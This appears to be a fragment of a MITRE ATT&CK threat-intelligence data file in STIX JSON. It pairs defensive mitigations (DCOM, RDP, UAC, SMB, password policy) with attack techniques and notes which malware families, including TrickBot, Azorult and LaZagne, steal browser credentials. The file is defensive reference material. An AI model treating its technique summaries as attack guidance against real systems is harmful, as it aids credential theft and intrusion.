Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. 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Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1e6c88fb-11fc-481d-990a-81d74a69e02f", + "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. 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Retrieved November 22, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47257f80-df2c-4090-9c2b-6ef23eccdbf3", + "description": "Enable Windows firewall, which prevents DCOM instantiation by default.", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "modified": "2020-03-30T13:36:10.386Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T14:19:22.440Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e9c5a8f9-571e-4c08-88bb-6baca6dad6ea", + "description": "Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "modified": "2020-03-30T13:36:10.416Z", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T14:19:22.453Z", + "external_references": [ + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--055bd398-635f-45e2-94d2-711af316bed7", + "description": "Consider disabling DCOM through Dcomcnfg.exe.(Citation: Microsoft Disable DCOM)", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "modified": "2020-03-30T13:36:10.414Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T14:19:22.455Z", + "external_references": [ + { + "source_name": "Microsoft Disable DCOM", + "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.", + "url": "https://technet.microsoft.com/library/cc771387.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--603d13cd-f6f7-4321-99db-3d3326878de4", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses an RC4-like algorithm with an already computed PRGA generated key-stream for network communication.(Citation: Intezer HiddenWasp Map 2019)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2019-07-06T22:20:35.368Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T14:20:50.504Z", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d32467b1-8d30-4134-ac6d-541cb623f8c2", + "description": "Restrict write access to logon scripts to specific administrators.", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "modified": "2020-08-03T16:47:37.403Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T14:22:08.049Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4af1337b-478f-43e1-b0b7-07ab53c22a64", + "description": "Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.(Citation: GitHub IAD Secure Host Baseline UAC Filtering)", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "modified": "2020-01-30T19:55:39.119Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T14:27:52.161Z", + "external_references": [ + { + "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml", + "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.", + "source_name": "GitHub IAD Secure Host Baseline UAC Filtering" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--159d35c3-673d-4c42-be26-d53ab11e277e", + "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "modified": "2020-01-30T19:55:39.131Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T14:27:52.179Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--14fa80e7-9e59-403c-8e1b-ea3145438b48", + "description": "Ensure that built-in and created local administrator accounts have complex, unique passwords.", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "modified": "2020-01-30T19:55:39.156Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T14:27:52.180Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--72acaaab-448e-412e-9967-c119c350cdc3", + "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "modified": "2020-01-30T19:57:16.541Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T15:49:23.522Z", + "external_references": [ + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--44dd2863-7841-43e3-960f-8f6d46709156", + "description": "Ensure that local administrator accounts have complex, unique passwords.", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "modified": "2020-01-30T19:57:16.540Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T15:49:23.841Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--48925883-c396-49a2-8b1b-2d7220959e2c", + "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "modified": "2020-02-11T18:24:04.785Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T15:55:14.055Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--65e07f9e-91cd-4b91-8707-83b4ffdb29bd", + "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "modified": "2020-02-11T18:24:04.819Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T16:00:49.986Z", + "external_references": [ + { + "source_name": "Windows RDP Sessions", + "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.", + "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bff585a5-6a32-4361-a72c-dfb1f6e6fe3d", + "description": "Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network.", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "modified": "2020-02-11T18:24:04.823Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T16:00:49.996Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3eb59d14-a07f-493a-8bee-5877c6c1d478", + "description": "Use multi-factor authentication for remote logins. (Citation: Berkley Secure)", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "modified": "2020-02-11T18:24:04.824Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T16:00:50.000Z", + "external_references": [ + { + "source_name": "Berkley Secure", + "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.", + "url": "https://security.berkeley.edu/node/94" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d02e0a35-ab09-49a9-958f-d71fbb1e3e6f", + "description": "Disable the RDP service if it is unnecessary.", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "modified": "2020-02-11T18:24:04.825Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T16:00:50.009Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0a5b4837-54e4-46e0-80e9-03c39919aec4", + "description": "Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "modified": "2020-02-11T18:24:04.803Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T16:00:50.015Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5b2d2786-1ccb-41d9-90dc-4e11d517bfe2", + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "modified": "2021-07-20T02:18:04.877Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T16:07:33.575Z", + "external_references": [ + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3b806ebb-0c5d-4ba8-adf8-b215a59f81b0", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from web browsers such as Google Chrome, Internet Explorer, and Firefox.(Citation: GitHub LaZagne Dec 2018)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2019-06-24T16:21:14.002Z", + "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T16:20:44.394Z", + "external_references": [ + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0ccddf91-2cf3-4801-a10b-ca4d253f2c8c", + "description": "Use multi-factor authentication wherever possible.", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "modified": "2021-04-02T17:51:59.404Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T16:21:04.537Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--70d446a5-349f-4b70-9446-90e872adac42", + "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "modified": "2021-04-02T17:51:59.400Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T16:21:04.539Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e2748683-077b-4e91-9225-6b29245fdafc", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "modified": "2021-07-26T14:11:39.831Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T16:27:16.770Z", + "external_references": [ + { + "source_name": "Microsoft Install Password Filter n.d", + "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4ffe77f2-8b05-40ff-b572-f7c0b9040571", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can steal credentials from the victim's browser.(Citation: Unit42 Azorult Nov 2018)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2019-07-26T23:22:28.704Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T16:46:55.846Z", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0d4d7376-5bda-44bc-b90d-0a065bb99433", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials from web browsers including FireFox, Google Chrome, and Internet Explorer.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2020-06-02T16:14:00.473Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T17:08:51.561Z", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. 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Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f0dd2703-4846-47b5-a8d8-471f70f9968e", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using [esentutl](https://attack.mitre.org/software/S0404).(Citation: Trend Micro Trickbot Nov 2018)(Citation: Cyberreason Anchor December 2019)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2021-09-28T22:45:49.905Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T19:15:06.328Z", + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. 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Retrieved September 28, 2021.", + "source_name": "Bitdefender Trickbot VNC module Whitepaper 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aba9ea33-32fb-4fb6-a7af-3d8902596fc8", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. 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Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Microsoft Windows Defender Application Control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--08e9dd54-cd91-440e-84d0-f86494ad0a3a", + "description": "Regsvcs and Regasm may not be necessary within a given environment.", + "target_ref": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", + "modified": "2020-01-31T19:00:31.061Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T19:32:19.533Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--36c6dd87-edf2-4b98-b446-6baf2276563f", + "description": "Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "modified": "2020-03-19T15:11:39.895Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T19:32:28.527Z", + "external_references": [ + { + "source_name": "Seclists Kanthak 7zip Installer", + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", + "url": "http://seclists.org/fulldisclosure/2015/Dec/34" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--35923be5-bb44-4641-a1d1-8255eb423537", + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "modified": "2020-03-19T15:11:39.897Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T19:32:28.541Z", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6537d47a-80c0-442b-a1ec-3451d078a2a9", + "description": "Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "modified": "2020-03-25T20:32:06.003Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T19:53:23.756Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--85c9285a-6738-42dd-aa12-fbded3e7bbdb", + "description": "\nBlock SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with allowlisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "modified": "2020-06-20T20:46:36.547Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T19:53:23.769Z", + "external_references": [ + { + "source_name": "US-CERT SMB Security", + "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.", + "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3359cfe3-0d04-4fb8-9f2f-1b049bc10cf4", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "modified": "2020-03-30T13:47:30.078Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T11:24:45.251Z", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--20e67eaa-23c3-4743-a907-4ec6d6505806", + "description": "Holding the Shift key while logging in prevents apps from opening automatically. (Citation: Re-Open windows on Mac)", + "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", + "modified": "2020-01-24T18:26:19.239Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 